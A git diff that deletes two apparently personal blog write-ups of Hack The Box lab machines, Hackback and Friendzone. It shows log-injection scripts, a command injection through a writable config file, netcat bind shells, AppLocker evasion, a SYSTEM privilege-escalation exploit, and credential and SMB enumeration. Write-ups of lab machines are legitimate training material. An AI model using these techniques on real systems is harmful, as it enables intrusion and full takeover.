-000010: C=302 0 L 3 W 17 Ch "nicole"
-```
-
-The password `12345678` quickly popped out as shown above.
-
-I then tried the `GET /2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=12345678` query on the admin page:
-
-
-
-Note: I still get a 302 redirect so initially I missed it when I was using the browser to check it. With Burp, it showed up in the response.
-
-The `list` command shows the content of a directory that contains some log files. I tried using the `show` action to see the content of the log file by specifying the filename in the `session` parameter but I always got a `Wrong identifier!` error message. I tried various parameters and I got stuck at this point for a long time until I realized that when I try to log in to the fake HTB website found earlier a new log file is created.
-
-
-
-The filename is always the same, even after a box reset so there is something unique associated to my own machine. The only thing unique to my session is the IP address from my machine. I checked the SHA256 hash for my IP 10.10.14.23 and I got `fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79`: a match for the log file name.
-
-I tried the `show` action with the session ID for my IP address: `/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79`
-
-
-
-The log file contains the POST parameters that I sent on the fake HTB site. So at this point I was hoping I could get RCE by injecting PHP code into the logs. I tested this theory by sending the following payload in the password field: ``
-
-I checked the logs and saw that my PHP was executed:
-
-
-
-Adding a bunch of PHP code in the same log file can get pretty messy when testing multiple payloads so I clean up the log file everytime I test different payloads by first calling the `init` action to reset the log file.
-
-I tried unsuccessfully to get a reverse shell but realized that all the common functions used for RCE appeared to be blocked. There's also an outbound firewall configured on the box so we can't get a connection back.
-
-Listing files and directories wasn't blocked and I could also read files. I wrote a script that does the following:
-
-- Cleans up the logfile by calling the `init` action
-- If only one parameter is specified, it'll use the `scandir` function to list the directory contents
-- If two parameters are specified, it'll read the directory + file with the `file_get_contents` function
-
-Warning, bad python code below:
-
-```python
-#!/usr/bin/python
-
-import base64
-import requests
-import sys
-
-# Clean up the log file
-
-r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=init&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79");
-print r.status_code
-
-if len(sys.argv) == 2: # List directories
- data = {
- "_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA",
- "username": "test@test.com",
- "password": "" % sys.argv[1],
- "submit": ""
- }
- r = requests.post("http://www.hackthebox.htb", data=data)
- print r.status_code
-
- # Get output
- r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79", allow_redirects=False);
- print r.text
-
-elif len(sys.argv) == 3: # Fetch a file
- data = {
- "_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA",
- "username": "test@test.com",
- "password": "" % (sys.argv[1]+'/'+sys.argv[2]),
- "submit": ""
- }
- r = requests.post("http://www.hackthebox.htb", data=data)
- print r.status_code
-
- # Get output
- r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79", allow_redirects=False);
- print r.text
- with open("out.txt", "wb") as f:
- f.write((r.text.encode('utf-16')))
-```
-
-The output of the script looks like this when enumerating directories:
-
-```
-# ./hackback_read.py ..
-200
-200
-[04 March 2019, 12:49:47 AM] 10.10.14.23 - Username: test@test.com, Password: Array
-(
- [0] => .
- [1] => ..
- [2] => 2bb6916122f1da34dcd916421e531578
- [3] => App_Data
- [4] => aspnet_client
- [5] => css
- [6] => img
- [7] => index.php
- [8] => js
- [9] => logs
- [10] => web.config
- [11] => web.config.old
-)
-
-# ./hackback_read.py ../..
-200
-200
-[04 March 2019, 12:49:54 AM] 10.10.14.23 - Username: test@test.com, Password: Array
-(
- [0] => .
- [1] => ..
- [2] => admin
- [3] => facebook
- [4] => hackthebox
- [5] => paypal
- [6] => twitter
-)
-```
-
-As we saw above, there's a `web.config` file that can potentially contain sensitive information.
-
-I downloaded it with `./hackback_read.py ../web.config`
-
-```
-# ./hackback_read.py ../web.config
-200
-200
-[04 March 2019, 12:51:22 AM] 10.10.14.23 - Username: test@test.com, Password:
-
-root@ragingunicorn:~/htb/hackback# cat web.config
-
-
-
-[...]](root@ragingunicorn:~/htb/hackback# ./hackback_read.py /inetpub/wwwroot/new_phish/admin web.config
-200
-200
-[04 March 2019, 12:53:51 AM] 10.10.14.23 - Username: test@test.com, Password:
-
-
-
-
-)
-```
-
-Nothing interesting in this one but the `web.config.old` contains some credentials:
-
-```
-# ./hackback_read.py /inetpub/wwwroot/new_phish/admin web.config.old
-200
-200
-[04 March 2019, 12:54:18 AM] 10.10.14.23 - Username: test@test.com, Password:
-
-
-
-
-
-
-
-
-```
-
-Username: `simple`
-Password: `ZonoProprioZomaro:-(`
-
-I can't use these credentials at the moment since there's no other service exposed but they'll be useful later on.
-
-### Tunneling our way in
-
-I can also write files to the target system using the same PHP code execution trick. I wrote another variant of my previous script that uses the `file_put_contents` function to write files to the disk.
-
-```python
-#!/usr/bin/python
-
-import base64
-import requests
-import sys
-
-# Clean up the log file
-
-r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=init&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56");
-print r.status_code
-
-# Base64 encoded the file we want to write
-
-with open(sys.argv[2]) as f:
- payload = base64.b64encode(f.read())
-
-# print payload
-
-data = {
- "_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA",
- "username": "test@test.com",
- "password": "" % (sys.argv[1],payload),
- "submit": ""
-}
-r = requests.post("http://www.hackthebox.htb", data=data)
-print r.status_code
-
-# Call the PHP code to write the file
-
-r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56", allow_redirects=False);
-print r.text
-```
-
-I used [reGeorg](https://github.com/sensepost/reGeorg) to pivot to the machine. reGeorg has two main components to it: a client-side python script that acts as a local SOCKS proxy and the remote .aspx file running on the target server.
-
-To write the .aspx to the webserver directory I used my script above:
-
-```
-# ./hackback_write.py "/inetpub/wwwroot/new_phish/admin/2bb6916122f1da34dcd916421e531578/tunnel.aspx" tunnel.aspx
-200
-200
-[04 July 2019, 09:55:44 PM] 10.10.14.11 - Username: test@test.com, Password: 4960 *****
-```
-
-Then I started the local component of reGeorg:
-
-```
-# python reGeorgSocksProxy.py -l 127.0.0.1 -p 1080 -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx
-
-
- _____
- _____ ______ __|___ |__ ______ _____ _____ ______
- | | | ___|| ___| || ___|/ \| | | ___|
- | \ | ___|| | | || ___|| || \ | | |
- |__|\__\|______||______| __||______|\_____/|__|\__\|______|
- |_____|
- ... every office needs a tool like Georg
-
- willem@sensepost.com / @_w_m__
- sam@sensepost.com / @trowalts
- etienne@sensepost.com / @kamp_staaldraad
-
-
-[INFO ] Log Level set to [INFO]
-[INFO ] Starting socks server [127.0.0.1:1080], tunnel at [http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx]
-[INFO ] Checking if Georg is ready
-[INFO ] Georg says, 'All seems fine'
-```
-
-So now I have a SOCKS proxy listening on port 1080 and tunneling the traffic to the Hackback machine. There are probably some ports listening only on the localhost so I can find out by running nmap through the tunnel. I specify the `-sT` flag so nmap does a regular TCP socket with the Connect() method and not the default `-sS` SYN method which doesn't work with proxychains.
-
-```
-# proxychains nmap -sT -p 22,80,135,139,443,445,3389,5985,5986,8080 127.0.0.1
-ProxyChains-3.1 (http://proxychains.sf.net)
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-05 20:46 EDT
-Nmap scan report for localhost (127.0.0.1)
-Host is up (0.34s latency).
-
-PORT STATE SERVICE
-22/tcp closed ssh
-80/tcp open http
-135/tcp open msrpc
-139/tcp closed netbios-ssn
-443/tcp closed https
-445/tcp open microsoft-ds
-3389/tcp open ms-wbt-server
-5985/tcp open wsman
-5986/tcp closed wsmans
-8080/tcp open http-proxy
-```
-
-There's a few additional ports open like WinRM and RDP. I can't RDP in because I don't have the proper privileges:
-
-
-
-To connect to WinRM running on port 5985 I used the [Alamot's ruby script](https://github.com/Alamot/code-snippets/tree/master/winrm). I edited it to put the credentials and the right endpoint.
-
-```ruby
-#!/usr/bin/ruby
-
-require 'winrm'
-
-conn = WinRM::Connection.new(
- endpoint: 'http://127.0.0.1:5985/wsman',
- user: 'hackback\simple',
- password: 'ZonoProprioZomaro:-(',
- :no_ssl_peer_verification => true
- )
-
-command=""
-
-conn.shell(:powershell) do |shell|
- until command == "exit\n" do
- output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
- print(output.output.chomp)
- command = gets
- output = shell.run(command) do |stdout, stderr|
- STDOUT.print stdout
- STDERR.print stderr
- end
- end
- puts "Exiting with code #{output.exitcode}"
-end
-```
-
-I can connect successfully and now have a shell as user `simple`:
-
-```
-# proxychains ./winrm-simple.rb
-ProxyChains-3.1 (http://proxychains.sf.net)
-PS hackback\simple@HACKBACK Documents>
-
-PS hackback\simple@HACKBACK util> whoami /priv
-
-PRIVILEGES INFORMATION
-----------------------
-
-Privilege Name Description State
-============================= ========================================= =======
-SeChangeNotifyPrivilege Bypass traverse checking Enabled
-SeImpersonatePrivilege Impersonate a client after authentication Enabled
-SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
-
-PS hackback\simple@HACKBACK util> net users simple
-User name simple
-Full Name simple
-[...]
-
-Local Group Memberships *project-managers *Remote Management Use
- *Users
-```
-
-No user flag yet though.
-
-### Escalating to user hacker
-
-That WinRM shell was very slow so I spawned a bind shell on port 4442 with netcat to speed things up a little bit.
-
-Initially I tried uploading netcat to `\programdata` but found out that AppLocker was blocking it so instead I uploaded it to a directory not controlled by AppLocker:`./hackback_write.py "/Windows/System32/spool/drivers/color/nc.exe" nc.exe`
-
-```
-C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe -L -p 4442
-[...]
-# proxychains nc -nv 127.0.0.1 4442
-ProxyChains-3.1 (http://proxychains.sf.net)
-Ncat: Version 7.70 ( https://nmap.org/ncat )
-Ncat: Connected to 127.0.0.1:4442.
-Microsoft Windows [Version 10.0.17763.292]
-(c) 2018 Microsoft Corporation. All rights reserved.
-
-C:\util>whoami
-whoami
-hackback\simple
-```
-
-There's an interesting directory `c:\util` that contains a bunch of different tools:
-
-```
-C:\util>dir
-dir
- Volume in drive C has no label.
- Volume Serial Number is 00A3-6B07
-
- Directory of C:\util
-
-07/05/2019 03:11 AM .
-07/05/2019 03:11 AM ..
-03/08/2007 01:12 AM 139,264 Fping.exe
-03/29/2017 07:46 AM 312,832 kirbikator.exe
-12/14/2018 04:42 PM 1,404 ms.hta
-12/14/2018 04:30 PM PingCastle
-02/29/2016 01:04 PM 359,336 PSCP.EXE
-02/29/2016 01:04 PM 367,528 PSFTP.EXE
-05/04/2018 12:21 PM 23,552 RawCap.exe
- 7 File(s) 1,204,017 bytes
- 3 Dir(s) 92,174,512,128 bytes free
-```
-
-There's also an hidden directory `c:\util\scripts`:
-
-```
-C:\util>dir /ah
- Volume in drive C has no label.
- Volume Serial Number is 00A3-6B07
-
- Directory of C:\util
-
-12/21/2018 07:21 AM scripts
- 0 File(s) 0 bytes
- 1 Dir(s) 92,174,512,128 bytes free
-
-C:\util\scripts>dir
- Volume in drive C has no label.
- Volume Serial Number is 00A3-6B07
-
- Directory of C:\util\scripts
-
-12/21/2018 06:44 AM 84 backup.bat
-07/05/2019 12:54 AM 402 batch.log
-12/13/2018 03:56 PM 93 clean.ini
-12/08/2018 10:17 AM 1,232 dellog.ps1
-07/05/2019 12:54 AM 35 log.txt
-12/13/2018 03:54 PM spool
- 5 File(s) 1,846 bytes
- 1 Dir(s) 92,184,432,640 bytes free
-```
-
-I guessed that the `clean.ini` file is somehow used by the `dellog.ps1` script as input parameters:
-
-```
-C:\util\scripts>type clean.ini
-type clean.ini
-[Main]
-LifeTime=100
-LogFile=c:\util\scripts\log.txt
-Directory=c:\inetpub\logs\logfiles
-
-C:\util\scripts>type dellog.ps1
-type dellog.ps1
-Access is denied.
-```
-
-I can't read the `dellog.ps1` script but the `clean.ini` is writable by user `simple` since he's a member of the `project-managers` group:
-
-```
-C:\util\scripts>icacls clean.ini
-icacls clean.ini
-clean.ini NT AUTHORITY\SYSTEM:(F)
- BUILTIN\Administrators:(F)
- HACKBACK\project-managers:(M)
-
-Successfully processed 1 files; Failed processing 0 files
-```
-
-The `LogFile` parameter is vulnerable to command injection. The powershell script that wipes the logs uses that parameter to pipe the output of another command so we can use the `&` character to execute arbitrary commands after the log file has been written to.
-
-I uploaded the following batch file that binds a shell on port 4441. The `snow.txt` file is just there so I can check if the batch file was run by the scheduler.
-
-```
-echo check > c:\programdata\snow.txt
-C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe -L -p 4441
-```
-
-```
-# ./hackback_write.py "/programdata/a.bat" a.bat
-```
-
-Then I modified the `clean.ini` as follows:
-
-```
-[Main]
-LifeTime=9999
-LogFile=c:\util\scripts\log.txt & c:\programdata\a.bat
-Directory=c:\users\hacker
-```
-
-I couldn't upload it directly to `c:\util\scripts\clean.ini` so I copied it to `\programdata` first then copied it over from the command line.
-
-```
-root@ragingunicorn:~/htb/hackback# ./hackback_write.py "/programdata/clean.ini" clean.ini
-```
-
-```
-C:\util\scripts>copy c:\programdata\clean.ini clean.ini
-copy c:\programdata\clean.ini clean.ini
-Overwrite clean.ini? (Yes/No/All): yes
-yes
- 1 file(s) copied.
-```
-
-After a while the batch file is executed (probably some scheduler job set up) and I can connect to the bind shell:
-
-```
-# proxychains nc -nv 127.0.0.1 4441
-ProxyChains-3.1 (http://proxychains.sf.net)
-Ncat: Version 7.70 ( https://nmap.org/ncat )
-Ncat: Connected to 127.0.0.1:4441.
-Microsoft Windows [Version 10.0.17763.292]
-(c) 2018 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-whoami
-hackback\hacker
-
-C:\Windows\system32>cd \users\hacker\desktop
-cd \users\hacker\desktop
-
-C:\Users\hacker\Desktop>dir
-dir
- Volume in drive C has no label.
- Volume Serial Number is 00A3-6B07
-
- Directory of C:\Users\hacker\Desktop
-
-02/09/2019 03:34 PM .
-02/09/2019 03:34 PM ..
-02/09/2019 03:34 PM 32 user.txt
- 1 File(s) 32 bytes
- 2 Dir(s) 92,183,654,400 bytes free
-
-C:\Users\hacker\Desktop>type user.txt
-type user.txt
-92244...
-```
-
-### Privesc
-
-There's a suspicious service that user `hacker` can stop & start:
-
-```
-C:\Windows\system32>sc query userlogger
-
-SERVICE_NAME: userlogger
- TYPE : 10 WIN32_OWN_PROCESS
- STATE : 1 STOPPED
- WIN32_EXIT_CODE : 1077 (0x435)
- SERVICE_EXIT_CODE : 0 (0x0)
- CHECKPOINT : 0x0
- WAIT_HINT : 0x0
-
-
-HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\userlogger
- Type REG_DWORD 0x10
- Start REG_DWORD 0x3
- ErrorControl REG_DWORD 0x1
- ImagePath REG_EXPAND_SZ c:\windows\system32\UserLogger.exe
- ObjectName REG_SZ LocalSystem
- DisplayName REG_SZ User Logger
- Description REG_SZ This service is responsible for logging user activity
-```
-
-I downloaded the file `UserLogger.exe` to figure out what the service does. When I opened it in IDA I found out it as UPX packed:
-
-
-
-After unpacking it with `upx -d userlogger.exe` I was able to open it and see the functions in IDA. I found the function I was looking for. It seems to create a file based on a supplied argument and it also appends `.log` as the extension.
-
-
-
-When I started the service with `sc start userlogger c:\windows\system\yolo` it created the `c:\windows\system32\yolo.log` file:
-
-```
-C:\Projects>dir c:\windows\system32\yolo.log
- Volume in drive C has no label.
- Volume Serial Number is 00A3-6B07
-
- Directory of c:\windows\system32
-
-07/05/2019 03:25 AM 58 yolo.log
- 1 File(s) 58 bytes
- 0 Dir(s) 92,148,129,792 bytes free
-
-C:\Projects>type c:\windows\system32\yolo.log
-Logfile specified!
-Service is starting
-Service is running
-```
-
-I have full privileges to that file:
-
-```
-C:\Projects>icacls c:\windows\system32\yolo.log
-
-c:\windows\system32\yolo.log Everyone:(F)
-
-Successfully processed 1 files; Failed processing 0 files
-```
-
-So that means I can replace it with an arbitrary DLL and load it using the Diagnostics Hub Standard Collector Service privilege escalation exploit.
-
-I modified the exploit from [https://github.com/realoriginal/alpc-diaghub](https://github.com/realoriginal/alpc-diaghub)
-
-
-
-I created a simple DLL that executes netcat to spawn another bind shell on port 4300:
-
-
-
-I then uploaded both files to their respective directories. The .exe needs to be in `/Windows/System32/spool/drivers/color` so I can avoid AppLocker.
-```
-# ./hackback_write.py "/Windows/System32/spool/drivers/color/ALPC-TaskSched-LPE.exe" ALPC-TaskSched-LPE.exe
-# ./hackback_write.py "/Windows/System32/yolo.log" PwnDll.dll
-```
-
-Executing the exploit...
-
-```
-C:\Windows\System32\spool\drivers\color>ALPC-TaskSched-LPE.exe
-ALPC-TaskSched-LPE.exe
-[+] Loading DLL
-Creating directory: C:\Windows\System32\spool\drivers\color\..\..\..\..\..\programdata\etw
-[+] If everything has gone well, you should have a SYSTEM shell!
-```
-
-And now I have a bind shell as SYSTEM:
-
-```
-# proxychains nc -nv 127.0.0.1 4300
-ProxyChains-3.1 (http://proxychains.sf.net)
-Ncat: Version 7.70 ( https://nmap.org/ncat )
-Ncat: Connected to 127.0.0.1:4300.
-Microsoft Windows [Version 10.0.17763.292]
-(c) 2018 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-whoami
-nt authority\system
-```
-
-It looks like the Donkeys have one final troll, the `root.txt` is hidden and doesn't contain the flag:
-
-```
-C:\Users\Administrator\Desktop>dir /ah
-dir /ah
- Volume in drive C has no label.
- Volume Serial Number is 00A3-6B07
-
- Directory of C:\Users\Administrator\Desktop
-
-02/06/2019 11:20 AM 282 desktop.ini
-02/09/2019 03:37 PM 1,958 root.txt
- 2 File(s) 2,240 bytes
- 0 Dir(s) 92,184,543,232 bytes free
-
-C:\Users\Administrator\Desktop>type root.txt
-type root.txt
-
- __...----..
- .-' `-.
- / .---.._ \
- | | \ \ |
- `. | | | | _____
- ` ' | | / _.-` `.
- \ | .'| //'''.' \
- `---'_(`.||.`.`.' _.`.'''-. \
- _(`'. `.`.`'.-' \\ \ \
- (' .' `-._.- / \\ \ |
- ('./ `-._ .-| \\ ||
- ('.\ | | 0') ('0 __.--. \`----'/
- _.--('..| `-- .' .-. `. `--..'
- _..--..._ _.-' ('.:| . / ` 0 ` \
- .' .-' `..' | / .^. |
- / .' \ ' . `._
- .'| `. \`...____.----._.'
- .'.'| . \ | |_||_||__|
- // \ | _.-'| |_ `. \
- || | | /\ \_| _ _ |
- || | /. . ' `.`.| || ||
- || / ' ' | . | `.`---'/
- .' `. | .' .'`. \ .' / `...'
- .' \ \ .'.' `---\ '.-' |
-)/\ / /)/ .| \ `. `.\ \
- )/ \( / \ | \ | `. `-.
- )/ ) | | __ \ \.-` \
- | /| ) .-. //' `-| \ _ /
- / _| | `-'.-.\ || `. )_.--'
- ) \ '-. / '| ''.__.-`\ |
- / `-\ '._|--' \ `.
- \ _\ / `---.
- /.--` \ \ .''''\
- `._..._| `-.' .-. |
- '_.'-./.'
-```
-
-An easy way to "hide" data in CTF challenges on NTFS file systems is to use alternate data streams. Using powershell, I was able to determine that a `flag.txt` stream is present.
-
-```
-PS C:\Users\Administrator\Desktop> get-item -force -path root.txt -stream *
-
-PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt::$DATA
-PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
-PSChildName : root.txt::$DATA
-PSDrive : C
-PSProvider : Microsoft.PowerShell.Core\FileSystem
-PSIsContainer : False
-FileName : C:\Users\Administrator\Desktop\root.txt
-Stream : :$DATA
-Length : 1958
-
-PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt:flag.txt
-PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
-PSChildName : root.txt:flag.txt
-PSDrive : C
-PSProvider : Microsoft.PowerShell.Core\FileSystem
-PSIsContainer : False
-FileName : C:\Users\Administrator\Desktop\root.txt
-Stream : flag.txt
-Length : 35
-```
-
-```
-PS C:\Users\Administrator\Desktop> get-content -force -path root.txt -stream flag.txt
-6d29b0...
-```
-
-Game over, finally!
\ No newline at end of file
diff --git a/_posts/2019-07-13-htb-writeup-friendzone.md b/_posts/2019-07-13-htb-writeup-friendzone.md
deleted file mode 100644
index 5cbebb0e68..0000000000
--- a/_posts/2019-07-13-htb-writeup-friendzone.md
+++ /dev/null
@@ -1,483 +0,0 @@
----
-layout: single
-title: Friendzone - Hack The Box
-excerpt: "Friendzone is an easy box with some light enumeration of open SMB shares and sub-domains. I used an LFI vulnerability combined with a writable SMB share to get RCE and a reverse shell. A cron job running as root executes a python script every few minutes and the OS module imported by the script is writable so I can modify it and add code to get a shell as root."
-date: 2019-07-13
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-friendzone/friendzone_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - smb
- - smbmap
- - vhosts
- - php
- - python
- - cronjob
- - dns
- - axfr
----
-
-
-
-Friendzone is an easy box with some light enumeration of open SMB shares and sub-domains. I used an LFI vulnerability combined with a writable SMB share to get RCE and a reverse shell. A cron job running as root executes a python script every few minutes and the OS module imported by the script is writable so I can modify it and add code to get a shell as root.
-
-## Summary
-
-- A SMB share I access to contains credentials
-- I can do a zone transfer and find a bunch of sub-domains
-- The dashboard page contains an LFI which I can use in combination with the writable SMB share to get RCE
-- After getting a shell as `www-data`, I find plaintext credentials that I use to log in as user `friend`
-- A python script using `os.py` runs as root and `os.py` is writable so I can add code to get a reverse shell as root
-
-## Detailed steps
-
-### Nmap scan
-
-The box has a got a couple of services running. I take note of the DNS server since this could be used to do a DNS zone transfer and query various records that may contain useful information.
-
-```
-# nmap -sC -sV -p- 10.10.10.123
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 19:05 EST
-Nmap scan report for friendzone.htb (10.10.10.123)
-Host is up (0.013s latency).
-Not shown: 65528 closed ports
-PORT STATE SERVICE VERSION
-21/tcp open ftp vsftpd 3.0.3
-22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
-| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
-|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
-53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
-| dns-nsid:
-|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
-80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
-|_http-server-header: Apache/2.4.29 (Ubuntu)
-|_http-title: Friend Zone Escape software
-139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
-443/tcp open ssl/http Apache httpd 2.4.29
-|_http-server-header: Apache/2.4.29 (Ubuntu)
-|_http-title: 404 Not Found
-| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
-| Not valid before: 2018-10-05T21:02:30
-|_Not valid after: 2018-11-04T21:02:30
-|_ssl-date: TLS randomness does not represent time
-| tls-alpn:
-| http/1.1
-|_ http/1.1
-445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
-Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
-```
-
-### FTP site
-
-Anonymous access is not allowed on the FTP server:
-
-```
-# ftp 10.10.10.123
-Connected to 10.10.10.123.
-220 (vsFTPd 3.0.3)
-Name (10.10.10.123:root): anonymous
-331 Please specify the password.
-Password:
-530 Login incorrect.
-Login failed.
-```
-
-Nothing pops up on Exploit-DB for this version of vsFTPd so I'll move on.
-
-### Web enumeration
-
-The site is just a simple page with nothing interactive on it but there is a domain name at the bottom which I'll investigate further.
-
-
-
-### SMB shares
-
-Using `smbmap` I can list the shares on the box:
-
-```
-# smbmap -H 10.10.10.123
-[+] Finding open SMB ports....
-[+] Guest SMB session established on 10.10.10.123...
-[+] IP: 10.10.10.123:445 Name: friendzone.htb
- Disk Permissions
- ---- -----------
- print$ NO ACCESS
- Files NO ACCESS
- general READ ONLY
- Development READ, WRITE
- IPC$ NO ACCESS
-```
-
-I can also find where the shares on the filesystem are mapped with the `smb-enum-shares` nmap script:
-
-```
-# nmap -p 445 --script=smb-enum-shares 10.10.10.123
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 20:52 EST
-Nmap scan report for friendzone.htb (10.10.10.123)
-Host is up (0.0089s latency).
-
-PORT STATE SERVICE
-445/tcp open microsoft-ds
-
-Host script results:
-| smb-enum-shares:
-| account_used: guest
-| \\10.10.10.123\Development:
-| Type: STYPE_DISKTREE
-| Comment: FriendZone Samba Server Files
-| Users: 0
-| Max Users:
-| Path: C:\etc\Development
-| Anonymous access: READ/WRITE
-| Current user access: READ/WRITE
-| \\10.10.10.123\Files:
-| Type: STYPE_DISKTREE
-| Comment: FriendZone Samba Server Files /etc/Files
-| Users: 0
-| Max Users:
-| Path: C:\etc\hole
-| Anonymous access:
-| Current user access:
-| \\10.10.10.123\IPC$:
-| Type: STYPE_IPC_HIDDEN
-| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
-| Users: 1
-| Max Users:
-| Path: C:\tmp
-| Anonymous access: READ/WRITE
-| Current user access: READ/WRITE
-| \\10.10.10.123\general:
-| Type: STYPE_DISKTREE
-| Comment: FriendZone Samba Server Files
-| Users: 0
-| Max Users:
-| Path: C:\etc\general
-| Anonymous access: READ/WRITE
-| Current user access: READ/WRITE
-| \\10.10.10.123\print$:
-| Type: STYPE_DISKTREE
-| Comment: Printer Drivers
-| Users: 0
-| Max Users:
-| Path: C:\var\lib\samba\printers
-| Anonymous access:
-|_ Current user access:
-
-Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds
-```
-
-Listing files from the share:
-
-```
-# smbmap -H 10.10.10.123 -r
-[+] Finding open SMB ports....
-[+] Guest SMB session established on 10.10.10.123...
-[+] IP: 10.10.10.123:445 Name: friendzone.htb
- Disk Permissions
- ---- -----------
- print$ NO ACCESS
- Files NO ACCESS
- general READ ONLY
- ./
- dr--r--r-- 0 Wed Jan 16 15:10:51 2019 .
- dr--r--r-- 0 Wed Jan 23 16:51:02 2019 ..
- fr--r--r-- 57 Tue Oct 9 19:52:42 2018 creds.txt
- Development READ, WRITE
- ./
- dr--r--r-- 0 Sat Feb 9 15:50:02 2019 .
- dr--r--r-- 0 Wed Jan 23 16:51:02 2019 ..
- IPC$ NO ACCESS
-```
-
-`creds.txt` looks interesting:
-
-```
-# smbclient -U "" //10.10.10.123/general
-
-Enter HTB\'s password:
-Try "help" to get a list of possible commands.
-smb: \> get creds.txt
-getting file \creds.txt of size 57 as creds.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
-smb: \> exit
-root@ragingunicorn:~/htb/friendzone# cat creds.txt
-creds for the admin THING:
-
-admin:WORKWORKHhallelujah@#
-```
-
-Found some credentials: `admin` / `WORKWORKHhallelujah@#`
-
-### Sub-domains enumeration
-
-Now that I have credentials, I just need to find where to use them.
-
-I can do a zone transfer for that domain I saw earlier on the main page and get the list of all sub-domains:
-
-```
-# host -t axfr friendzone.red 10.10.10.123
-Trying "friendzone.red"
-Using domain server:
-Name: 10.10.10.123
-Address: 10.10.10.123#53
-Aliases:
-
-;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56850
-;; flags: qr aa; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0
-
-;; QUESTION SECTION:
-;friendzone.red. IN AXFR
-
-;; ANSWER SECTION:
-friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
-friendzone.red. 604800 IN AAAA ::1
-friendzone.red. 604800 IN NS localhost.
-friendzone.red. 604800 IN A 127.0.0.1
-administrator1.friendzone.red. 604800 IN A 127.0.0.1
-hr.friendzone.red. 604800 IN A 127.0.0.1
-uploads.friendzone.red. 604800 IN A 127.0.0.1
-friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
-
-Received 250 bytes from 10.10.10.123#53 in 12 ms
-```
-
-I'll add those entries to my local `/etc/hosts`.
-
-### Upload page
-
-There's a php application to upload images at `https://uploads.friendzone.red`.
-
-
-
-Whenever I upload a file (image or not), I get a successful message:
-
-
-
-### Administrator page
-
-The `https://administrator1.friendzone.red` page contains a login form on which I can use the credentials I found in the SMB share.
-
-
-
-After logging in I am asked to go to `dashboard.php`.
-
-
-
-The dashboard page seems to be some application that deals with images, but it's not really clear what it does except take an image name as a parameter and a pagename.
-
-
-
-If I try the parameters displayed on the page I get:
-
-
-
-The image is linked to `/images`, but none of the files I tried to upload from the previous upload page are found in that directory.
-
-
-
-There's an LFI in the `pagename` parameter and I can use a PHP base64 encode filter to read files:
-
